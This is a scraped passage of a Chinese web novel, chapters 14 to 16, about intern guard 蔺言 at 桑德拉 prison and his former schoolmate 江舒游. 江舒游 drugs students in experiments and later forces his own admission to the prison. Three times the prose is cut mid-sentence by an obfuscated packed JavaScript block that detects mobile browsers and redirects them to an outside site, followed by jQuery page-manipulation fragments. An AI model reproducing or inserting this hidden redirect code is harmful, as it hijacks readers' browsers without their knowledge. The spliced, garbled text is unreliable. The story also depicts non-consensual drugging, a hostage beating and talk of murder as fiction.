双手举起五指包住了闵盛的手背,少年笑着说:“因为前辈看起来不高兴,我想活跃一下气氛。” 话落,蔺言努努嘴:“我成功了吗?” 手背上的温度很温暖,没有手套之后,一切接触都显得过于亲密,闵盛不习惯这样的行为,但他默许了。 “前辈,你说话呀,”蔺言用后脑勺轻轻撞了一下闵盛的胸口:“心情没有变好吗?” “嗯。” 闵盛说:“没有。” 少年的笑脸立刻瘪了下去,他开始了无止尽的脑袋撞击攻势,可怜兮兮的问:“没有吗?没有吗?真的么没有吗?” 他们的双手依然握在一起,蔺言的发丝靠过来时带着淡淡的香氛气味,离开时又仿佛卷走了全部的氧气。 只有他贴过来时,闵盛才能呼吸。 蔺言的情感太过饱和,从身体中满溢出来,每一个接触过他的人都几乎要被灼伤。 闵盛恰恰是情绪最不外露的类型,他只能从蔺言手中抽出一只手,按住少年的脑袋,提醒道:“有人给你发消息了。” 这句话果然成功转移了蔺言的注意力,少年底统一看向终端,温纶连发了四条语音。 蔺言心虚的选择转文字。 太长了,不想听。 反正温纶一定能理解他。 【温温纶纶:S区有一名犯人叫褚沙,是玉吉星星长的私生子,犯病时不分敌我,攻击人之前毫无预兆,一定要小心他。】 【温温纶纶:他最讨厌的颜色是蓝色,最讨厌的事物是海洋,最讨厌爱笑的人,恭喜你,全中。】 【温温纶纶:褚沙还有一年就会出狱,你最好不要在他面前出现,免得他出狱后报复你。】 【温温纶纶:我很想你。】 最后一句话出来,蔺言扬起唇,眼中盈盈有光。 点开语音,他说:“我也想你。” “我也想你。” 少年声线清润,说话不急不缓,尾音微微上扬,带起一阵柔软的笑意。 最后一个字在空气中消散,温纶灌咖啡的动作幅度更大了,苦涩的液体卷着蜜糖一起流入喉腔。 队长听了一耳朵,调侃道:“哟,你对象啊?” “不是。” 温纶关上终端,解释了一句:“现在还不是。” 队长了然的点点头,笑道:“工作是工作,生活是生活,下个月我给你放一天假,约会去。” 温纶婉拒了队长的好意,“他也在实习,没有假期。” 桑德拉没有明确规定假期,但是只要犯人安分不闹事,狱警们等于带薪休假,只不过不能离开这一亩三分地罢了。 然而,他们每天都在闹事。 “我也想你。”将自己的语音播放了一遍,蔺言满意的点点头。 他有些得意的从鼻腔哼出一缕气:“我的声音真好听。” 【夏娃:为什么我从来没看到过你自卑的时候?】 【蔺言:我为什么要自卑?】 蔺言喜欢夸人,更喜欢被夸,他的人生道路不一定全是坦途,但他会跨过、跳过、后空翻过、踩着高跷越过每一个泥坑。 这是什么?沼泽?吃我一记撑杆跳! 高坚果都拦不住他。 闵盛垂眸瞥了一眼蔺言的终端,扫到了褚沙的名字,心下一惊。 “他是你的朋友吗?”男人声音平静的问。 “嗯!”蔺言重重的点头:“我们是最好的朋友!” “哦,对了前辈,”多亏温纶的消息,蔺言才想起来这事:“我什么时候去S区巡逻啊?杰森前辈说下周带我去,但是他受伤了。” S区一共只有五个人,除去褚沙和蔺言已经见过的崔堂,只剩下三个。 蔺言十分期待的捧着脸说:“有种玩游戏揭露最终Boss的感觉。” “再等等。” 闵盛将蔺言的手拉开,将少年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14406659|153481||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接近耳根处的一丝血痕擦拭干净,“你不是刚交了新朋友吗?和克里斯曼多玩会儿吧。” 沾着克里斯曼血迹的湿巾被男人扔进了垃圾桶,闵盛没有给出明确的时间。 他并不希望蔺言和S区有任何接触,但闵盛心里也清楚,崔堂一定会回来找蔺言。 他躲不开的。 “克里斯曼啊…”蔺言转身面对着闵盛,双腿并拢蜷在一起,两手环住膝盖,“我总觉得他像会在路上套我麻袋的人。” 闵盛挑眉:“那你还和他交朋友?” 夏娃的任务罢了。 蔺言心虚的移开眼,“总比当仇人好。” 和克里斯曼当朋友,要随时小心他背后放冷箭,和克里斯曼当仇人,那就更要小心了,他连表面功夫都不会做。 “其实还有一个选择。” 闵盛定定的看着灯光下的少年,他生了一张让人难以心生防备的脸,时隐时现的小虎牙就像藏在开朗表面下的凌厉内里一般。 闵盛几乎可以确定,撕开蔺言的纯良外在,里面是一块遍布荆棘的坚冰。 执法队应该会很喜欢这样的孩子,他很有天赋,只不过缺少引导。 蔺言好奇的抬眸:“什么选择?” “让他畏惧你,打断他的脊骨,拔掉他的爪牙,这样,你就不用担心了。” “更过分一点,杀了他也是可行的,只要你做的干净些,让人找不到把柄。” 闵盛说的轻描淡写,蔺言却立刻比了个噤声的手势:“前辈,我是遵纪守法好公民,你别想钓鱼执法。” 蔺言从床上跳了下来,他还记着之前的事,自然的转移话题:“前辈,你刚刚为什么不高兴啊?” 虽然看起来神经大条,但蔺言其实很细心,闵盛给他吹头发的时候并没有任何异状,情绪转变发生在摸他的头发的时候。 蔺言表情古怪的摸了摸自己的头顶,手感明明很好啊。 闵盛抿了抿唇,他没有不高兴,只是有些心里发堵罢了。 狱警之中,闵盛的名声并不算太好,他们都知道他在努力接触S区的犯人,盼望着能够升职、能够离开桑德拉,往更高的位置爬。 最开始,严安是将蔺言交到他的手上的,第一次巡逻也该由闵盛带领,但他为了一己私欲,将蔺言踢给了杰森。 狱警们都在议论他的不称职,以往闵盛从不在乎这些话,如今却觉得刺耳。 他想摆脱低等星并没有错。 他渴求的东西,蔺言唾手可得,但闵盛不嫉妒,他只是有些不甘心。 蔺言这样生活在阳光下的人,怎么能够理解他的不甘? 三个月的实习结束后,他们的人生不会再有任何交集。 “前辈,你又在不高兴了,”蔺言捧住闵盛的脸,和他额头贴着额头,担忧的问:“生病了吗?” 体温替闵盛开了口。 男人依然沉默着,一动不动的僵立在原地。 “前辈,”蔺言认真的看着他,“告诉我,你怎么了?” 闵盛抬起手,试图将自己脸救出来,却被少年反手握住。 灼灼的火光在蔺言的双瞳中燃烧,烧断了闵盛周身的枷锁。 少年的语气却温和的像是静谧的海面:“告诉我,好吗?” 他真可怕。 闵盛想。 没有人能够拒绝他。 14.重新定义人道主义 掌心渡来蔺言的体温,闵盛别开眼,嗓音有些干涩:“我没事。” “这两天事情太多了,有点累而已。” 终究,闵盛还是拒绝将自己剖开,哪怕他的五脏六腑都渗出了苦水,在喉管里逆流,也要一滴不剩的咽下去。 糟糕的内里不该暴露在蔺言面前,他也不需要依靠装可怜博得什么好处。 如果蔺言知道他卑劣的心思,说不定会对他避而远之。 蔺言定定的看着闵盛,几秒后,缓缓松开手,“是我太越界了吗?抱歉。” “不…” “前辈,累了就早点休息吧,”蔺言退开一步,微微鞠了一躬:“我先回去了。” 少年的离开就像他进来时一样迅速,关门时的风掀动了衣摆,一瞬间,房间里就只剩下闵盛一个人。 与此同时,终端震了一下,闵盛回过神,打开终端看了眼。 【最喜欢的后辈:明天见啊。】 闵盛倏的松了口气。 蔺言就像天上坠落的流星,炙热而耀眼,闵盛想握紧,又怕被灼伤,稍一松手,他就飞向了下一个许愿者。 【AAA烤冷面批发商:明天见,好好休息。】 蔺言没有再回复。 他靠在床边轻轻叹了一口气,漂亮的脸都皱了起来。 【夏娃:你怎么了?】 【蔺言:我是不是冒犯到前辈了?】 虽然闵盛的负面情绪似乎并不是针对他的,但蔺言依然感到担忧,或许是他催化了这样的情绪,才让闵盛如此逃避与他对视。 【夏娃:没有你,他迟早也要面对,无论什么情绪,释放都比压抑好。】 夏娃有心安慰他,蔺言听懂了,他在床上滚了一圈,最后看着天花板发了会儿呆。 他隐隐意识到自己在中央星的生活方式放在桑德拉有些不合适,但蔺言不想改变。 实习期结束后,他会回到中央星,只有中央星才是他的家。 【蔺言:夏娃,我喜欢你。】 人工智能没有给出回应,好在,蔺言也不是会患得患失的人,发着呆没多久就睡着了。 平稳的呼吸声成了静谧的室内唯一的生气。 【夏娃:嗯。】 蔺言睡了,闵盛还没睡。 想起难缠的崔堂他就觉得头疼,打了个哈欠,男人调出了崔堂入狱时的报告文件,一行行扫了过去。 崔堂的身份比较特殊,很多资料都处于加密状态,闵盛没有权限,只能连夜给严安打去通讯。 严安每个月只在桑德拉待五天,剩下的时间都在各大星系度假,享受一切桑德拉没有的东西。 等待了近半分钟后,通讯才接通。 闵盛没和他寒暄,直接把自己的需求告知了对方。 “崔堂?你问他干嘛?”严安的声音听起来很模糊,像是被什么东西蒙住了脸。 “崔堂和实习生起了点冲突,实习生目前是我在负责。”闵盛说话的语气十分冷淡,一股公事公办的味道。 严安那边安静了一会儿,又问:“实习生还没死吗?” “没有。” 知道严安不上心监狱里的事,闵盛解释道:“实习生一枪重伤了崔堂,目前崔堂正在治疗中。” 严安又沉默了,一部分原因是震惊,另一部分原因是不知道该说什么。 劫持他的人还没想好台词。 严安穿着一身睡衣坐在椅子上,地上横亘着一具具穿着西装的尸体,血几乎将地面涂成了红色。 一把枪抵着他的太阳穴,拿枪的男人思索了一会儿,轻声说:“给他权限。” 严安配合的说:“我一会儿把权限打开,你搞定之后记得给我汇报一下实习生的安危。” 此话一出,男人立刻警告的给了严安一拳,正中小腹,严安痛的身体弓成了虾形,痛呼声传出去之前,终端已经被挂断。 “小心思不少啊,”袭击者抓着严安的头发冷笑道:“你觉得我会允许你再接一次终端吗?” 严安也笑了,他捂着肚子问:“大哥,你抓我总不至于是为了杀我吧?” “来,说吧,你是要钱,还是要我释放哪个囚犯,还是想报复哪个狱警?” 严安管理桑德拉这些年,遇到的亡命之徒只多不少,已经给他们分了三个大类。 袭击者意外的挑眉,“这么有经验啊?” “那是,”严安嬉皮笑脸的说:“做我们这一行的,被出狱之后的犯人报复是家常便饭。” 袭击者脸上戴着口罩和鸭舌帽,严安又是个只管享乐不管事的黑心监狱长,看了半天都没认出这是谁。 作为大名鼎鼎的罪犯朝圣地,桑德拉进进出出过太多传奇人物,不够有特色的根本不值得他记住。 “嗷!” 又是一拳狠狠的擂在严安的脸上,男人从椅子上摔了下去,蹭了一手的血。 他一边抽气一边看向袭击者,那人冷眼盯着他,手背鼓起了青筋,似乎还想再来一下。 但他没再动手,弯腰将严安从地上拉起来,袭击者笑着说:“现在您要分出第四类了。” “我想进桑德拉。” 啊? 啊??? 严安张开嘴说不出话,想了想自己手动把嘴合上了,听说过越狱的,没听说过自己跳进来的。 你图什么啊? “这,不太合适,每个犯人入狱前要先去执法队存个档,不是你说来就能来的。” 眼见着犯人再一次举起枪,严安话锋一转:“但是话又说回来,那是为了记录刑期,方便以后到时间了好出狱,你只进不出的话就不用那么麻烦了。” “这是人道主义,不是桑德拉不守规矩。” 给自己找了个补,严安笑嘻嘻的问:“那你打算什么时候进去啊?” 袭击者转了转枪,没回答,只说:“你觉得我能被分进S区吗?” 严安转了转眼珠:“这个嘛,S区都是身份特殊,罪行极重的人…你,方便透露一下过往罪史吗?” 袭击者将口罩向上拉了拉,“以前的不够格,但是我可以现在创造一个。” “谋杀桑德拉监狱长,您看这个罪行够不够重?” “哇哦…”严安摇摇头,又点点头,双手搭在膝盖上,缓缓握了起来,“罪行量刑要多方面考虑,但是话又说回来,你以后一辈子都要待在桑德拉,论资历完全碾压所有犯人,住个S区绰绰有余。” “这是人道主义,不是桑德拉不守规矩。” “还有什么要求吗?”严安用手背抹了下额角泌出的细汗,“我们桑德拉一向是非常民主,尊重犯人意愿的。” 袭击者沉吟了一会儿,问道:“能不能给我安排一名狱警一对一管理?” 这个要求严安真的犯了难。 “没有这种先例,给你安排,其他S区犯人自然也要安排,总共就三十多个狱警,一下子少了六个,人手不够。” 袭击者也理解的点点头,接着毫不留情的说:“那是你需要操心的事。” 我***! 严安不可置信的瞪圆了眼,怎么会有这么不要脸的罪犯? “咔哒”上膛。 袭击者蹲下身,枪口和严安的额头贴在一起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14407157|153481||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“考虑好了吗,监狱长大人?” 严安的眼珠向上翻了翻,黑黝黝的枪管比什么都好使。 “一般来说,要一视同仁,但是话又说回来,你毕竟是第一个主动入狱的犯人,思想觉悟比其他S区犯人高得多,你值得一个狱警互相鼓励,他们不配。” “这是人道主义,不是桑德拉不守规矩。” 答应就答应了,大不了等他入狱就过河拆桥。 严安还没想完,袭击者晃了晃自己的终端,笑道:“我已经将我们对话的录音和录像发给我的同伙了,如果你之后违反承诺……” 男人压了压帽檐,话音不怀好意:“桑德拉究竟是人道主义还是不守规矩,就由执法队来评判了。” “哈哈…”严安干笑了声,夸道:“还是你细心。” 凌晨两点 闵盛终于结束了工作,扫了眼屋内的程设,他揉了揉发酸的眼睛,轻轻呼出一口气。 明明往日里也是独自居住,今天怎么无端觉得有些空旷。 打开终端,闵盛再次给严安拨去了通讯。 凌晨两点居然秒接,闵盛眉心一跳,心下生疑。 “监狱长,您这么晚了还没睡吗?” “没有,我这不是担心实习生吗?还有,我在法莲星抓到了一名逃犯,明天就押送回来,你多带几名狱警来接。” 严安的声音没有任何问题,闵盛却觉得更古怪了。 严安还能抓到犯人,他不是去度假的吗? 压下疑心,闵盛冷淡的应了下来,话音刚落,严安就迫不及待似的挂断了通讯。 他嗑药了吗? 闵盛拧起眉,犹豫了一会儿,最终没多问。 走到窗边,细长的枝条搭在窗沿,闵盛推开窗户,树下空落落的,没有那道熟悉的身影。 蔺言已经不需要他开门了。 第二天上午 蔺言照旧和所有前辈打了招呼,昨晚短暂的不愉快好似被抛之脑后,闵盛选了几名狱警和他一起去接人,蔺言也自告奋勇的加入了进来。 “前辈,监狱长好厉害,一个人都能抓到罪犯!”蔺言满眼崇拜的说。 闵盛下意识想要反驳,被另一名狱警抢了先:“不可能,除了赚钱和享乐,监狱长什么都不关心,估计是哪个犯人重伤躺在巷子里被他捡到了。” 【蔺言:听起来像偶像剧。】 【夏娃:一个只喜欢赚钱和享乐的人不会愿意拍偶像剧。】 你说的对。 蔺言拍了拍肩上的沙砾,躲到闵盛背后,小声问:“前辈,你知道监狱长抓了谁吗?” 闵盛摇摇头,“一会儿就知道了。” 一会儿还是不知道。 蔺言看着全副武装,把自己裹得只露出一双眼睛的犯人,茫然的绕着他走了一圈,最后问:“你紫外线过敏吗?” 犯人不说话,摇了摇头。 严安解释了一句:“他比较孤僻,不愿意露脸。” 拍了拍手,严安催促道:“你们把他送去S区,注意安全,我还有事先走了。” 有事,指继续度假。 两名狱警互相对视了一眼,从身后钳住了犯人的双臂,犯人十分配合,让迈左脚绝不动右手。 “居然是S区…”有狱警悄声说:“又来一个,S区要不太平了。” “整个桑德拉都要不太平了,”另一人翻了个白眼,“会咬的狗不叫,你看他一句话都不说,绝对憋着坏呢。” 蔺言静静的听着,视线狐疑的飘向犯人被头发遮住的耳朵。 风沙之中,他瞥见了一道小小的疤。 15.怀里的少年才是病根 一年前,中央星 年轻而富有朝气的新生们三三两两的聚集在一起,四面环绕的台阶挤满了人,他们看着场馆中央的青年,面色仰慕。 天气已经入了秋,那人穿了件白色的高领毛衣,披着毛呢黑大衣,双手插兜,一站就是一道风景线。 “江学长…居然见到真的了…” “我报名联邦大学就是为了他,本人比星网视频里还…怎么说呢,让人想要亲近。” 江舒游已经在这里站了近三十分钟了,谁也不知道他是在发呆还是在等人,除了偶尔看一眼终端外,江舒游几乎没有更多动作。 蔺言和温纶手挽着手坐在台阶上咬耳朵:“江学长看起来好像有点装…这是可以说的吗?” “不可以。” 温纶瞥了眼下首的男人,“但是可以偷偷和我说。” 蔺言脑袋一歪,倚在温纶的肩上,脸颊的软肉都被挤了进去,他动了动变形的嘴,嘟囔道:“好无聊啊,江学长到底要干嘛?” 温纶摸了摸他的头发,安抚道:“要不你先回去吧,我在这里等,等他动了我给你拍视频。” 蔺言纠结了一下,还是拒绝了:“不要,我陪你。” 而且,蔺言记得江学长很讨厌被拍照,星网上流传的大部分视频都是偷拍的。 两人就这么贴在一起,百无聊赖的盯着江舒游,看着看着蔺言就打起了哈欠,平心而论,江舒游长得不差,但是再好看的木头人也不能连续看三十分钟啊! 眼皮逐渐沉重起来,蔺言调整了一个舒服的姿势,靠进了温纶的怀里,含含糊糊的说:“我先眯一会儿…” 温纶托着他的肩,眼镜下的眸子微垂,轻声说:“我替你看着。” 又过了约莫十分钟,江舒游终于动了。 他扫视了一圈围在四周的学生们,右手高高举起,打了个响指,“恭喜各位,通过了我的实验。” 人群中传来惊呼声,疑惑的视线落在青年身上,有茫然,有惊喜。 江舒游微笑的摊开双手:“今天我想做一个社会实验,关于人能否有耐心一直对某个无聊的事物保持高强度注意。” 他耸了耸肩道:“本来计划是一个小时的,可惜,我没有耐心了。” 说到这,他又觉得好笑似的屈指掩住了自己的口鼻,突然,江舒游的动作一顿,眉头微微挑起:“看来我发现了一条漏网之鱼。” “B4列第三排的那位学弟,这样睡觉容易落枕。” 蔺言的脑袋动了一下,但也只动了一下,温纶轻柔的覆住他的耳朵,看向江舒游的眼神不太友善。 这丝不悦很快就消失了,即使温纶遮住了蔺言的耳朵,周围的笑声也将少年从睡梦中唤醒。 蔺言迷迷瞪瞪的睁开眼,等待大脑开机的几秒中,已经被人拍下了照片发到校园论坛上。 【捕捉,刚睡醒的小迷糊蛋!】 蔺言早在高中时期就已经拥有了一定的知名度,跟着他一同从高中考入联邦大学的人也不在少数。 短短几分钟就成了热门帖子,评论者除了在校生外,还有不少已经毕业,甚至有外校学生和纯混进来吃瓜的网民。 蔺言本人在论坛也是有账号的,身为学生会成员,必要的时候他会封掉一些言论过激的帖子和账号。 自从知道蔺言会看帖子后,论坛里的风气完全大变样,满屏幕“累死了”、“该死的xxx”都变成了“累不死”、“该死也死不了的xxx”。 温纶甚至调侃过要给蔺言发一个和-平奖。 江舒游瞧着蔺言又是拍脸又是搓脸,一番努力最后还打了个哈欠的模样,忍不住低笑了声。 他本来是打算在这些人之中选几个专注力较强的学生进行下一步的实验,现在看来,还需要一个对照组。 收敛了笑容,江舒游扬声道;“A1列第一排的学妹,B1列第七排的学弟,还有刚刚那位睡着的学弟,想加学分吗?” 大脑接收到关键词,蔺言瞬间精神了,一双笑眼几乎眯成了月牙,温纶拉了拉他的袖子,提醒道:“别太高兴,哪有学分是好赚的?” 蔺言用肩膀轻轻碰了他一下,兴师问罪道:“你刚刚怎么不叫我?” 温纶推了推眼镜,一只手揽住了蔺言的肩,辩解道:“你没让我叫你。” 蔺言刚刚都困成昏睡菇了,哪里记得自己有没有要求温纶叫他,眯着眼回忆了一会儿,少年果断的决定放过自己。 手一牵,又是天下第一好。 两天后,蔺言收到了江舒游的邀请邮件。 所谓的下一步实验和蔺言想的完全不同,江舒游将他们带到了一处郊外的别墅,这里人迹罕至,只有一名满脸皱纹的老管家。 迷宫般的走廊纵横交错,凝固的蜡油附着在烛台上,空气中弥漫着一股潮湿的气味,混杂着腐败的气息,令人心下生厌。 金边装点的相框被主人保存的很稳妥,画像中的扭曲人影似乎在尖叫着挣扎,瘦削的指骨扣住了框边,妄图逃离画像的禁锢。 蔺言看着,总觉得自己误入了恐怖片的拍摄现场。 “少爷,”老管家对着江舒游微微鞠躬,哑着嗓子说:“您吩咐的东西已经准备好了。” 江舒游轻笑着接过管家手里的盒子,对着面色不安的学妹学弟们笑了笑:“别担心,江叔马上就会离开,这里只有我们四个。” 如他所说,老管家确实离开了,但他也开走了他们来时的车。 贺蔚然走到蔺言身边,有些紧张的抓紧了裙摆,轻声问:“蔺言,你有没有觉得,这里很阴森?” 她和蔺言是同班同学,相对于另一名不认识的学生来说,贺蔚然更信任蔺言一些。 蔺言也觉得不对劲,想了想,少年从口袋里掏出一根棒棒糖递过去:“吃点甜食可以缓解压力。” 贺蔚然勉强的笑了下,接下了却没吃。 她对江舒游了解不多,单单知道他年纪轻轻已经拥有了多项药物专利,是教授们眼中的红人。 “江学长,”贺蔚然捏着手里的棒棒糖,一只手背在身后问:“您要做什么实验?” 江舒游没回答,摆出邀请的手势对准了楼梯,“先上楼吧,我会详细告诉你们的。” 说完,江舒游径直走了上去,似乎并不担心他们不跟着。 蔺言看着他的背影消失在旋转楼梯的拐角处,回身在大厅里走了一圈,最后拆下了一个铜制烛台,拿在手里颠了颠,还挺有分量。 轻轻呼出一口气,蔺言笑着说:“这样就不怕了。” “会不会不太好…”贺蔚然话还没说完,蔺言已经拆了第二个烛台递过来。 少女瞬间收了声,接过烛台重重的点点头:“你说的对。” 另一名被选中的学生茫然的看着他们:“江学长邀请我们参与实验的事很多人都知道,我们要是出事了他也逃不掉,你们不用这么紧张。” 贺蔚然点点头又摇摇头:“那你有没有想过,哪怕我们失踪一个月,他都可以以‘进行保密实验,不能和外界交流’的由头糊弄所有人?” 只要无法判定他们真的出事了,就没人知道他们出事。 蔺言惊讶的看向贺蔚然,她已经直接把江舒游当成不法分子了,紧接着,他又看向恍然大悟的另一位学生,不禁担忧起了江舒游的安危。 坏了。 攻守易形了。 二楼 江舒游一边哼歌一边将各种试剂瓶一一摆好,听到身后杂乱的脚步声,青年满意的勾起唇,一转身就看到了三个拿着烛台的年轻人。 嗯? “你们这是在做什么?”江舒游摸了摸下巴,凤眼微挑:“难道觉得我会伤害你们吗?” 三人都没说话。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14414283|153481||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 就在江舒游的左手边,摆着一架遍布血污的手术台,地上堆着一卷卷破损的绷带,墙皮甚至被抓花了一大片。 江舒游注意到了他们的视线,无奈的摇摇头:“我也没想到管家居然没收拾这里。” 话落,青年看向三人,轻轻笑起来:“先睡一会儿吧,等我清理好再叫你们。” 蔺言只觉得闻到了一股甜甜的香气,下一秒,陷入了一片漆黑之中。 再次醒来时,他看到了一张笑吟吟的脸,距离极近,蔺言甚至能闻到江舒游身上消毒水的味道。 他的嘴里咬着蔺言的棒棒糖。 蔺言瞬间睁大了眼,控诉道:“我也要吃。” “等会儿,实验完就给你。” 江舒游直起身,拿起一根针管说:“学弟,他们都走了,现在只剩下你了。” 蔺言眨了眨眼:“走了?” 这么草率吗? “嗯,注射药物后观察完毕我就让他们离开了。” “那我呢?”蔺言躺在手术台上,双手被皮革圈住,动弹不得。 “你是对照组,躺在这里睡觉就行,”江舒游晃了晃手里的针管,眸色暗沉:“有点疼,稍微忍一下。” 这款药剂能够让人短时间失去理智,做出遵从本能的行为,在那时,江舒游能够窥见一个陌生人的内里。 他热衷于研究药物,更热衷于研究人类,准确点说,他热爱观看他人的丑态。 江舒游很好奇,专注力强的前两人被药物影响了五分钟,蔺言呢? 他会变成什么模样? 针尖扎穿了皮肤,透明的液体流进了体内,蔺言眼前突然变得模糊起来,冷白的灯光变成了一层深灰色,好像蒙了一层雾。 手臂上的桎梏似乎松开了,蔺言摇摇晃晃的从手术台上爬了下来,意识忽远忽近,灵魂都好似要离体而出。 棒棒糖——给我。 蔺言对着青年伸出手。 “不、” 蔺言听到了江舒游的撞倒药剂架的声音、看到了江舒游惊恐的眼神,视网膜突然充斥了大片的红色。 他在害怕什么? 血。 蔺言闻到了铁锈味。 江舒游倒在大片碎裂的玻璃中,背后密密麻麻的传来刺痛,他的身上压着陡然昏睡过去的少年,面容平静祥和。 药物仅仅生效了半分钟,比他预计的短很多。 和以往的每个试药者不同,蔺言刚刚的模样给了江舒游新的想法。 他从手术台上下来时,江舒游恍惚间仿佛真的看到了一具活着的尸体。 白炽灯让他的皮肤看起来失去了血色,但少年从颈间到耳垂却泛着浅红,备受赞美的蓝眸蒙上了一层溺毙的浮尸。 当江舒游被这双瞳注视的时候,他的血液似乎也被药物侵占了,理智沉底,恐惧和一股莫名的情愫占据了上风。 恐惧。 是的,他在恐惧这具鲜活的身体。 深埋体内的碎玻璃在吸食他的血液和生命力,而怀里的少年才是真正的病根。 江舒游抽了口气,痛的全身痉挛,但他就这么一动不动的躺着,等待蔺言醒来。 五分钟后,蔺言睁开眼,映入眼帘的是一只被玻璃割破的耳朵,血已经凝固成了黑红色。 和这道疤的位置一模一样。 “学长。” 蔺言突然叫了一声,全身裹得严严实实的青年毫无动静,跟着其他狱警继续在黄沙中赶路。 这个反应让蔺言更加确信了他的身份。 在蔺言的记忆中,江舒游明明已经在半年前被执法队队长以“贩卖违禁药品”的罪名逮捕了,现在却出现在了这里。 有问题。 【夏娃:往好处想,说不定他又是来给你送学分的。】 【蔺言:有点想得太好了。】 16.吊死在你家门口你怕吗 蔺言让他感到恐惧,这是一种很新奇的体验。 新奇的同时,江舒游又感到不解。 明明蔺言只是在药物的影响下走近他,还没有做出任何攻击行为,为什么他会如此失态? 江舒游趴在病床上时一直在思考这个问题。 是因为环境吗? 白炽灯和手术台确实容易营造出阴森的氛围,但江舒游早已习惯,根本不可能受到任何影响。 那问题就只能出在人身上了。 药物作用下的蔺言收敛了笑容,他是冰冷海水中的浮木,江舒游却不敢握住他的手。 这是只堪称神明造物的手,从指尖到腕骨都是融雪般的冷意,骨骼被薄皮裹着,要细看才能找到些微的血色。 当蔺言试图触摸他的脸颊时,江舒游全身失了力气,只有双瞳能够在眼眶中焦急的打圈。 大脑在缺氧中发出尖叫,于是他的后退、仰倒,在鲜血淋漓之中求得一时的安心。 想明白了原因,江舒游决定终止现在的实验,全心全意的挖掘蔺言的深层内里。 他在蔺言身上花费了不少时间和精力,半路却杀出了程咬金。 被执法队逮捕没什么大不了,他有的是办法全身而退,但蔺言当时的表情实在有些好笑。 怎么形容呢? 食堂,人满为患的场所,一名穿着雨靴的打饭大叔突然暴起,抓着口碑名声极好学生的右手将他按在桌面上,然后大喊一句“我是执法队队长”! 如果这样还不够荒诞,那就要听听事发前的对话了。 江舒游和蔺言一前一后走进食堂,一人笑容满面,一人面色疲惫。 距离上次实验已经过去两个多月了,这段时间江舒游没有再给蔺言加学分的机会,倒是时不时邀请他一起吃饭逛街。 通常,会变成蔺言、温纶、江舒游三人行,蔺言的喜好温纶全都了如指掌,根本没有江舒游发挥的余地。 直到今天,温纶终于忙起来了。 蔺言奇怪的问:“学长,你的伤还没好吗?” 这都多久了,只是普通的皮外伤,一瓶药剂的事,江舒游不会是想讹他吧? 江舒游摇摇头,“没事,就是昨晚太累了。” 蔺言弯弯的笑眼瞬间瞪得溜圆,“学长,我们是可以说这种事的关系吗?” 江舒游一怔,随即反应过来自己的话有多么容易让人误解,但他没解释,只笑道:“除了你,学长也没人可以说了。” 他摇摇头叹了口气,“学长没有朋友,只有冷冰冰的机器和试管。” 蔺言狐疑的眯起眼:“可是,学长你不是很受欢迎吗?” 不只是校内人尽皆知,江舒游在星网上也很有知名度,年轻有为的青年药剂师,各大制药集团都抢着要。 江舒游没回答。 比起研究药物,他更喜欢研究人类,人类的喜怒、悲欢、怨憎、爱恨…每一种情绪都值得他品尝。 蔺言是他的新观察对象。 “想吃什么?”江舒游换了个话题,向着打饭的窗口走去:“我请你。” 蔺言扫了眼人满为患的窗口,摇了摇头:“算了吧,要等很久。” 江舒游挑起唇,凤眼流露出得意之色,“这就让你看看学长有多受欢迎。” 只见青年走到最近的队伍,同那名学生说了什么,那人立刻让开了位置,如此反复,江舒游就这么轻而易举的排到了第一个。 然后——自投罗网。 蔺言茫然的看着打饭大叔掏出电子手铐,在众目睽睽之下将江舒游强行带走,两人对视了一瞬,双双从对方的眼神中捕捉到了无措和惊讶。 后来,蔺言才知道,因为那天他回来时衣服上沾了血,所以温纶向执法队举报江舒游进行不法药物实验。 也没冤枉他,江舒游的确经不起调查。 进入桑德拉监狱,蔺言晃了晃脑袋,将发丝中的沙砾甩了出去,接着捂着脸打了个喷嚏,委委屈屈的吸了下鼻子,问道:“前辈,我们没有口罩和防风服吗?” 闵盛也没好到哪去,拍了拍肩上的黄沙,男人无奈的说:“以前是有的,但是消耗量太大,严安就没进货了。” 蔺言羡慕的瞥了眼全副武装的江舒游,他来之前一定调查清楚了镜环星有多么恶劣,不然不至于给自己包得像个恐怖分子。 “我带他去S区,”闵盛指了指周围几名狱警,“你们去看着B区和A区,S区来新人,他们太兴奋了可能会发生暴力事件。” 蔺言举起手自告奋勇:“前辈,我和你一起!” 这一次闵盛没有再拒绝,有崔堂这个定时炸弹,蔺言早晚要接触S区。 见他点头,少年立刻跳了起来,欢呼一声,蔺言双手环住闵盛的肩,在和他脸颊贴着脸颊,“前辈我就知道你最好了!” 闵盛愣了一瞬,不等他开口,蔺言已经松开了手。 闵盛一瞬间有些懊恼,如果他能抓住那一秒的时机,该有多好。 